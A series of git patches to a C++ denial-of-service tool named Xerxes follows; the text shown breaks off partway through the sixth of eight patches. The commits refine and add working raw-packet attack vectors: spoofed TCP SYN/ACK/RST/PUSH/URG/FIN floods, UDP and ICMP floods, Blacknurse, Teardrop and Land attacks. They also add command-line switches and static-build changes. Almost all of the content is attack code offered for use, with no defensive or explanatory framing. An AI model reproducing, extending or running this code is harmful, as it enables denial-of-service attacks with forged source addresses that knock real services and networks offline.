From 0795b9f93803377153ac2c3b2a83c181b491eadc Mon Sep 17 00:00:00 2001 From: sepehrdad Date: Wed, 25 Apr 2018 19:52:13 +0400 Subject: [PATCH 1/8] Optimizing... --- Headers/Http_Flood.hpp | 1 + Headers/ICMP_Flood.hpp | 3 +- Headers/Spoofed_Flood.hpp | 4 -- Headers/Spoofed_TCP_Flood.hpp | 3 +- Headers/Spoofed_UDP_Flood.hpp | 2 + Sources/Http_Flood.cpp | 16 ++++++-- Sources/ICMP_Flood.cpp | 26 +++++++++++- Sources/Null_Flood.cpp | 6 +-- Sources/Spoofed_Flood.cpp | 76 ----------------------------------- Sources/Spoofed_TCP_Flood.cpp | 36 ++++++++++++++++- Sources/Spoofed_UDP_Flood.cpp | 26 ++++++++++++ 11 files changed, 107 insertions(+), 92 deletions(-) diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index 2227b47..615f411 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -28,6 +28,7 @@ class Http_Flood : public Attack_Vector { void read_socket(SSL *ssl); int write_socket(int socket, const char* string, int length); int write_socket(SSL *ssl, const char* string, int length); + const SSL_METHOD *GetMethod(); }; diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp index 94e597f..3f7fe46 100755 --- a/Headers/ICMP_Flood.hpp +++ b/Headers/ICMP_Flood.hpp @@ -9,7 +9,8 @@ class ICMP_Flood : public Spoofed_Flood { private: void attack(const int *id) override; - void override_options(icmphdr *icmp); + void init_headers(iphdr *ip, icmphdr *icmp, char *buf); + void override_headers(icmphdr *tcp, iphdr *ip); }; diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp index c0ee422..bbcfc1c 100755 --- a/Headers/Spoofed_Flood.hpp +++ b/Headers/Spoofed_Flood.hpp @@ -15,7 +15,6 @@ class Spoofed_Flood : public Attack_Vector { friend class ICMP_Flood; friend class Spoofed_TCP_Flood; friend class Spoofed_UDP_Flood; - friend class Black_Nurse; public: Spoofed_Flood() = default; @@ -31,9 +30,6 @@ class Spoofed_Flood : public Attack_Vector { u_int16_t length; }; virtual int make_socket(int protocol); - virtual void init_headers(iphdr *ip, tcphdr *tcp, char *buf); - virtual void init_headers(iphdr *ip, udphdr *udp, char *buf); - virtual void init_headers(iphdr *ip, icmphdr *icmp, char *buf); }; diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp index 00456c5..936631c 100755 --- a/Headers/Spoofed_TCP_Flood.hpp +++ b/Headers/Spoofed_TCP_Flood.hpp @@ -9,7 +9,8 @@ class Spoofed_TCP_Flood : public Spoofed_Flood { private: void attack(const int *id) override; - void override_options(tcphdr *tcp); + void init_headers(iphdr *ip, tcphdr *tcp, char *buf); + void override_headers(tcphdr *tcp, iphdr *ip); }; diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp index 3b1bc29..35105e4 100755 --- a/Headers/Spoofed_UDP_Flood.hpp +++ b/Headers/Spoofed_UDP_Flood.hpp @@ -9,6 +9,8 @@ class Spoofed_UDP_Flood : public Spoofed_Flood { private: void attack(const int *id) override; + void init_headers(iphdr *ip, udphdr *udp, char *buf); + void override_headers(udphdr *udp, iphdr *ip); }; diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 41bf229..986a3ef 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -62,10 +62,9 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { } SSL_CTX *Http_Flood::InitCTX() { - const SSL_METHOD *method{TLSv1_1_client_method()}; + SSL_library_init(); + const SSL_METHOD *method{GetMethod()}; SSL_CTX *ctx; - OpenSSL_add_ssl_algorithms(); - SSL_load_error_strings(); ctx = SSL_CTX_new(method); if (ctx == nullptr){ logger->Log("Unable to connect using ssl", Logger::Error); @@ -190,3 +189,14 @@ void Http_Flood::attack_ssl(const int *id) { } } +const SSL_METHOD *Http_Flood::GetMethod() { + switch (conf->protocol){ + case config::TCP: + return TLSv1_2_client_method(); + case config::UDP: + return DTLSv1_2_client_method(); + default: + return nullptr; + } +} + diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 170f275..b95c68f 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -40,7 +40,7 @@ void ICMP_Flood::attack(const int *id) { } init_headers(ip, icmp, buf); - override_options(icmp); + override_headers(icmp, ip); dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; @@ -68,7 +68,7 @@ ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, } -void ICMP_Flood::override_options(icmphdr *icmp) { +void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ switch (conf->vector){ case config::ICMPFlood: icmp->type = ICMP_ECHO; @@ -81,3 +81,25 @@ void ICMP_Flood::override_options(icmphdr *icmp) { default:break; } } + + +void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { + // IP Struct + ip->version = 4; + ip->ihl = 5; + ip->tos = 0; + ip->tot_len = htons(sizeof(buf)); + ip->id = static_cast(Randomizer::randomInt(1, 1000)); + ip->frag_off = htons(0x0); + ip->ttl = 255; + ip->protocol = IPPROTO_ICMP; + ip->check = 0; + + ip->check = csum((unsigned short *) buf, ip->tot_len); + + icmp->type = 0; + icmp->code = 0; + icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); + icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); + icmp->checksum = 0; +} diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index 5705a94..131a001 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -1,4 +1,4 @@ -#include + #include #include "../Headers/Null_Flood.hpp" @@ -9,7 +9,7 @@ void Null_Flood::attack(const int *id) { for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); } - int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM; + int socktype = conf->protocol; while(true) { static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -41,7 +41,7 @@ void Null_Flood::attack_ssl(const int *id) { std::vector sockets; std::vector CTXs; std::vector SSLs; - int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM; + int socktype = conf->protocol; for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); SSLs.push_back(nullptr); diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index ed813a3..3e1853b 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -1,8 +1,6 @@ #include -#include #include "../Headers/Spoofed_Flood.hpp" -#include "../Headers/Randomizer.hpp" Spoofed_Flood::Spoofed_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){ @@ -31,77 +29,3 @@ int Spoofed_Flood::make_socket(int protocol) { } return sock; } - -void Spoofed_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { - auto s_port = Randomizer::randomPort(); - // IP Struct - ip->ihl = 5; - ip->version = 4; - ip->tos = 16; - ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf); - ip->id = static_cast(Randomizer::randomInt(1, 1000)); - ip->frag_off = htons(0x0); - ip->ttl = 255; - ip->protocol = IPPROTO_UDP; - ip->check = 0; - ip->check = csum((unsigned short *) buf, ip->tot_len); - - // UDP Struct - udp->source = htons(static_cast(s_port)); - udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - udp->len = htons(static_cast(sizeof(struct udphdr))); - udp->check = 0; -} - -void Spoofed_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { - auto s_port = Randomizer::randomPort(); - // IP Struct - ip->ihl = 5; - ip->version = 4; - ip->tos = 16; - ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf); - ip->id = static_cast(Randomizer::randomInt(1, 1000)); - ip->frag_off = htons(0x0); - ip->ttl = 255; - ip->protocol = IPPROTO_TCP; - ip->check = 0; - - ip->check = csum((unsigned short *) buf, ip->tot_len); - - // TCP Struct - tcp->source = htons(static_cast(s_port)); - tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->seq = 0; - tcp->ack_seq = 0; - tcp->doff = 5; //tcp header size - tcp->fin=0; - tcp->syn=0; - tcp->rst=0; - tcp->psh=0; - tcp->ack=0; - tcp->urg=0; - tcp->window = htons (5840); - tcp->check = 0; - tcp->urg_ptr = 0; -} - -void Spoofed_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { - // IP Struct - ip->version = 4; - ip->ihl = 5; - ip->tos = 0; - ip->tot_len = htons(sizeof(buf)); - ip->id = static_cast(Randomizer::randomInt(1, 1000)); - ip->frag_off = htons(0x0); - ip->ttl = 255; - ip->protocol = IPPROTO_ICMP; - ip->check = 0; - - ip->check = csum((unsigned short *) buf, ip->tot_len); - - icmp->type = 0; - icmp->code = 0; - icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); - icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); - icmp->checksum = 0; -} diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 658802a..2757284 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -41,7 +41,7 @@ void Spoofed_TCP_Flood::attack(const int *id) { } init_headers(ip, tcp, buf); - override_options(tcp); + override_headers(tcp, ip); dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; @@ -83,7 +83,7 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(const config *conf, Logger *logger) : Spoof } -void Spoofed_TCP_Flood::override_options(tcphdr *tcp){ +void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ case config::SpoofedSyn: tcp->syn = 1; @@ -97,3 +97,35 @@ void Spoofed_TCP_Flood::override_options(tcphdr *tcp){ default:break; } } + +void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { + auto s_port = Randomizer::randomPort(); + // IP Struct + ip->ihl = 5; + ip->version = 4; + ip->tos = 16; + ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf); + ip->id = static_cast(Randomizer::randomInt(1, 1000)); + ip->frag_off = htons(0x0); + ip->ttl = 255; + ip->protocol = IPPROTO_TCP; + ip->check = 0; + + ip->check = csum((unsigned short *) buf, ip->tot_len); + + // TCP Struct + tcp->source = htons(static_cast(s_port)); + tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + tcp->seq = 0; + tcp->ack_seq = 0; + tcp->doff = 5; //tcp header size + tcp->fin=0; + tcp->syn=0; + tcp->rst=0; + tcp->psh=0; + tcp->ack=0; + tcp->urg=0; + tcp->window = htons (5840); + tcp->check = 0; + tcp->urg_ptr = 0; +} diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 571be2c..06519b3 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -41,6 +41,7 @@ void Spoofed_UDP_Flood::attack(const int *id) { } init_headers(ip, udp, buf); + override_headers(udp, ip); dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; @@ -81,3 +82,28 @@ void Spoofed_UDP_Flood::attack(const int *id) { Spoofed_UDP_Flood::Spoofed_UDP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { } + +void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { + +} + +void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { + auto s_port = Randomizer::randomPort(); + // IP Struct + ip->ihl = 5; + ip->version = 4; + ip->tos = 16; + ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf); + ip->id = static_cast(Randomizer::randomInt(1, 1000)); + ip->frag_off = htons(0x0); + ip->ttl = 255; + ip->protocol = IPPROTO_UDP; + ip->check = 0; + ip->check = csum((unsigned short *) buf, ip->tot_len); + + // UDP Struct + udp->source = htons(static_cast(s_port)); + udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + udp->len = htons(static_cast(sizeof(struct udphdr))); + udp->check = 0; +} From ceec411b5db5ad572689875bbe24568414c48816 Mon Sep 17 00:00:00 2001 From: sepehrdad Date: Tue, 1 May 2018 14:02:47 +0400 Subject: [PATCH 2/8] Adding new Features... --- CMakeLists.txt | 2 +- Dockerfile | 0 Headers/Configuration.hpp | 2 +- Sources/Doser.cpp | 4 ++++ Sources/Parser.cpp | 3 +++ Sources/Spoofed_TCP_Flood.cpp | 8 +++++--- Sources/Spoofed_UDP_Flood.cpp | 12 ++++++++---- 7 files changed, 22 insertions(+), 9 deletions(-) mode change 100644 => 100755 Dockerfile diff --git a/CMakeLists.txt b/CMakeLists.txt index 8ce304b..cb06eaf 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -13,7 +13,7 @@ if( OPENSSL_FOUND ) endif() SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a") SET(BUILD_SHARED_LIBRARIES OFF) -SET(CMAKE_EXE_LINKER_FLAGS "-static") +SET(CMAKE_EXE_LINKER_FLAGS "-static -pthread") add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) diff --git a/Dockerfile b/Dockerfile old mode 100644 new mode 100755 diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 1dba741..92e5863 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -8,7 +8,7 @@ struct config{ enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP, - SpoofedSyn, SpoofedAck, SpoofedFin, Rudy, Blacknurse, Beast}; + SpoofedSyn, SpoofedAck, SpoofedFin, Rudy, Blacknurse, Beast, TearDrop, Land}; enum Protocol{TCP, UDP}; Protocol protocol{TCP}; Vector vector{NullTCP}; diff --git a/Sources/Doser.cpp b/Sources/Doser.cpp index 343057c..c89329d 100755 --- a/Sources/Doser.cpp +++ b/Sources/Doser.cpp @@ -70,6 +70,10 @@ void Doser::run() { logger->Log("Attack Vector: Beast", Logger::Info); flood = new Beast{conf, logger}; break; + case config::TearDrop: + logger->Log("Attack Vector: Teardrop", Logger::Info); + flood = new Spoofed_UDP_Flood{conf, logger}; + break; default:break; } if(conf->UseSSL){ diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index bc9af40..6b05f1f 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -22,6 +22,7 @@ void Parser::help() { " -sy set attack vector to Spoofed Syn Flood\n" " -sa set attack vector to Spoofed Ack Flood\n" " -sf set attack vector to Spoofed Fin Flood\n" + " -td set attack vector to Teardrop\n" " -ss enable SSL\n" " -w wait for response\n" " -rh randomize HTTP Header\n" @@ -106,6 +107,8 @@ void Parser::parse_commandline(int argc, const char *argv[]) { conf->website = static_cast(argv[i+1]); }else if(!strcmp(argv[i], "-port")){ conf->port = static_cast(argv[i+1]); + }else if(!strcmp(argv[i], "-td")){ + conf->vector = config::TearDrop; }else if(!strcmp(argv[i], "-T")){ if(Validator::isValidNumber(argv[i+1])){ conf->THREADS = static_cast(strtol(argv[i+1], nullptr, 10)); diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 2757284..33ab1ba 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -46,9 +46,8 @@ void Spoofed_TCP_Flood::attack(const int *id) { dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; - - psh.source_address = inet_addr(conf->website.c_str()); - psh.dest_address = dst.sin_addr.s_addr; + psh.source_address = ip->saddr; + psh.dest_address = ip->daddr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.length = htons(sizeof(struct tcphdr) + strlen(buf)); @@ -94,6 +93,9 @@ void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ case config::SpoofedFin: tcp->fin = 1; break; + case config::Land: + ip->saddr = ip->daddr; + tcp->source = tcp->dest; default:break; } } diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 06519b3..5222eeb 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -46,9 +46,8 @@ void Spoofed_UDP_Flood::attack(const int *id) { dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; - - psh.source_address = inet_addr(conf->website.c_str()); - psh.dest_address = dst.sin_addr.s_addr; + psh.source_address = ip->saddr; + psh.dest_address = ip->daddr; psh.placeholder = 0; psh.protocol = IPPROTO_UDP; psh.length = htons(sizeof(struct udphdr) + strlen(buf)); @@ -84,7 +83,12 @@ Spoofed_UDP_Flood::Spoofed_UDP_Flood(const config *conf, Logger *logger) : Spoof } void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { - + switch(conf->vector){ + case config::TearDrop: + ip->frag_off |= htons(0x2000); + break; + default:break; + } } void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { From 89b2c665986139d9bdeb51f503e490f5ca8dd5f5 Mon Sep 17 00:00:00 2001 From: sepehrdaddev Date: Wed, 2 May 2018 10:10:56 +0400 Subject: [PATCH 3/8] Adding New Features... --- Headers/Configuration.hpp | 3 ++- Sources/Doser.cpp | 16 ++++++++++++++++ Sources/Parser.cpp | 12 ++++++++++++ Sources/Spoofed_TCP_Flood.cpp | 25 ++++++++++++++----------- 4 files changed, 44 insertions(+), 12 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 92e5863..9f2f86f 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -8,7 +8,8 @@ struct config{ enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP, - SpoofedSyn, SpoofedAck, SpoofedFin, Rudy, Blacknurse, Beast, TearDrop, Land}; + SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse, + Beast, TearDrop, Land}; enum Protocol{TCP, UDP}; Protocol protocol{TCP}; Vector vector{NullTCP}; diff --git a/Sources/Doser.cpp b/Sources/Doser.cpp index c89329d..0636996 100755 --- a/Sources/Doser.cpp +++ b/Sources/Doser.cpp @@ -58,6 +58,18 @@ void Doser::run() { logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; break; + case config::SpoofedRST: + logger->Log("Attack Vector: Spoofed RST Flood", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; + case config::SpoofedURG: + logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; + case config::SpoofedPUSH: + logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; case config::SpoofedFin: logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; @@ -74,6 +86,10 @@ void Doser::run() { logger->Log("Attack Vector: Teardrop", Logger::Info); flood = new Spoofed_UDP_Flood{conf, logger}; break; + case config::Land: + logger->Log("Attack Vector: Land", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; default:break; } if(conf->UseSSL){ diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index 6b05f1f..80d3065 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -21,8 +21,12 @@ void Parser::help() { " -su set attack vector to Spoofed UDP Flood\n" " -sy set attack vector to Spoofed Syn Flood\n" " -sa set attack vector to Spoofed Ack Flood\n" + " -sr set attack vector to Spoofed Rst Flood\n" + " -sg set attack vector to Spoofed Urg Flood\n" + " -sp set attack vector to Spoofed Push Flood\n" " -sf set attack vector to Spoofed Fin Flood\n" " -td set attack vector to Teardrop\n" + " -ld set attack vector to Land\n" " -ss enable SSL\n" " -w wait for response\n" " -rh randomize HTTP Header\n" @@ -87,6 +91,12 @@ void Parser::parse_commandline(int argc, const char *argv[]) { conf->vector = config::SpoofedSyn; }else if(!strcmp(argv[i], "-sa")){ conf->vector = config::SpoofedAck; + }else if(!strcmp(argv[i], "-sr")){ + conf->vector = config::SpoofedRST; + }else if(!strcmp(argv[i], "-sg")){ + conf->vector = config::SpoofedURG; + }else if(!strcmp(argv[i], "-sp")){ + conf->vector = config::SpoofedPUSH; }else if(!strcmp(argv[i], "-sf")){ conf->vector = config::SpoofedFin; }else if(!strcmp(argv[i], "-q")){ @@ -109,6 +119,8 @@ void Parser::parse_commandline(int argc, const char *argv[]) { conf->port = static_cast(argv[i+1]); }else if(!strcmp(argv[i], "-td")){ conf->vector = config::TearDrop; + }else if(!strcmp(argv[i], "-ld")){ + conf->vector = config::Land; }else if(!strcmp(argv[i], "-T")){ if(Validator::isValidNumber(argv[i+1])){ conf->THREADS = static_cast(strtol(argv[i+1], nullptr, 10)); diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 33ab1ba..04a5cfd 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -85,15 +85,25 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(const config *conf, Logger *logger) : Spoof void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ case config::SpoofedSyn: - tcp->syn = 1; + tcp->th_flags = TH_SYN; break; case config::SpoofedAck: - tcp->ack = 1; + tcp->th_flags = TH_ACK; + break; + case config::SpoofedRST: + tcp->th_flags = TH_RST; + break; + case config::SpoofedPUSH: + tcp->th_flags = TH_PUSH; + break; + case config::SpoofedURG: + tcp->th_flags = TH_URG; break; case config::SpoofedFin: - tcp->fin = 1; + tcp->th_flags = TH_FIN; break; case config::Land: + tcp->th_flags = TH_SYN; ip->saddr = ip->daddr; tcp->source = tcp->dest; default:break; @@ -119,15 +129,8 @@ void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { tcp->source = htons(static_cast(s_port)); tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); tcp->seq = 0; - tcp->ack_seq = 0; tcp->doff = 5; //tcp header size - tcp->fin=0; - tcp->syn=0; - tcp->rst=0; - tcp->psh=0; - tcp->ack=0; - tcp->urg=0; tcp->window = htons (5840); tcp->check = 0; - tcp->urg_ptr = 0; + tcp->th_flags = 0; } From e805cdd836a4ee7a6415c88e781c9643954d3582 Mon Sep 17 00:00:00 2001 From: sepehrdaddev Date: Wed, 2 May 2018 11:21:26 +0400 Subject: [PATCH 4/8] Refactoring... --- CMakeLists.txt | 6 +++--- Sources/Doser.cpp | 6 +++--- Sources/ICMP_Flood.cpp | 6 +++--- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index cb06eaf..6a4ca3d 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -11,9 +11,9 @@ if( OPENSSL_FOUND ) set(OPENSSL_USE_STATIC_LIBS TRUE) message(STATUS "Using OpenSSL ${OPENSSL_VERSION}") endif() -SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a") -SET(BUILD_SHARED_LIBRARIES OFF) -SET(CMAKE_EXE_LINKER_FLAGS "-static -pthread") +set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") +set(BUILD_SHARED_LIBRARIES OFF) +set(CMAKE_EXE_LINKER_FLAGS "-static -pthread") add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) diff --git a/Sources/Doser.cpp b/Sources/Doser.cpp index 0636996..754e35c 100755 --- a/Sources/Doser.cpp +++ b/Sources/Doser.cpp @@ -59,15 +59,15 @@ void Doser::run() { flood = new Spoofed_TCP_Flood{conf, logger}; break; case config::SpoofedRST: - logger->Log("Attack Vector: Spoofed RST Flood", Logger::Info); + logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; break; case config::SpoofedURG: - logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); + logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; break; case config::SpoofedPUSH: - logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); + logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; break; case config::SpoofedFin: diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index b95c68f..5a008cf 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -71,12 +71,12 @@ ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ switch (conf->vector){ case config::ICMPFlood: - icmp->type = ICMP_ECHO; - icmp->code = static_cast(Randomizer::randomInt(1, 1000)); + icmp->type = static_cast(Randomizer::randomInt(1, 30)); + icmp->code = static_cast(Randomizer::randomInt(1, 15)); break; case config::Blacknurse: icmp->type = ICMP_DEST_UNREACH; - icmp->code = static_cast(3); + icmp->code = ICMP_PORT_UNREACH; break; default:break; } From f4e97b74662276241a6c86efdaabd36ffc831d90 Mon Sep 17 00:00:00 2001 From: sepehrdaddev Date: Sun, 6 May 2018 14:05:25 +0400 Subject: [PATCH 5/8] Fixing Bugs... --- CMakeLists.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 6a4ca3d..d3dbdc6 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -13,7 +13,7 @@ if( OPENSSL_FOUND ) endif() set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") set(BUILD_SHARED_LIBRARIES OFF) -set(CMAKE_EXE_LINKER_FLAGS "-static -pthread") +set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive") add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) From 391a5594b7e0f4f8a6688da4e42318e4af4c0176 Mon Sep 17 00:00:00 2001 From: sepehrdaddev Date: Sun, 6 May 2018 14:33:20 +0400 Subject: [PATCH 6/8] Fixing Bugs... --- README.md | 1 + XerxesTheGreat.jpg | Bin 0 -> 80789 bytes 2 files 